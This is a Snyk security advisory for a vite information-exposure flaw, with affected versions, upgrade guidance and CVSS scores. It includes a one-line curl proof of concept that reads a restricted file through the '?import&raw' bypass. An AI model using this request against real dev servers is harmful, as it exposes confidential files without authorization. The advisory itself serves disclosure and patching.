Information Exposure Affecting vite package, versions <3.2.11 >=4.0.0 <4.5.5 >=5.0.0 <5.2.14 >=5.3.0 <5.3.6 >=5.4.0 <5.4.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

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  • Snyk ID SNYK-JS-VITE-8023174
  • published 18 Sep 2024
  • disclosed 17 Sep 2024
  • credit adi1

How to fix?

Upgrade vite to version 3.2.11, 4.5.5, 5.2.14, 5.3.6, 5.4.6 or higher.

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Information Exposure when using ?import&raw in the URL parameters. An attacker can access file contents that should be restricted by exploiting this bypass mechanism.

PoC


$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

References

CVSS Scores

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Snyk

Recommended
6 medium
  • Attack Vector (AV)
    Adjacent
  • Attack Complexity (AC)
    High
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    None
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None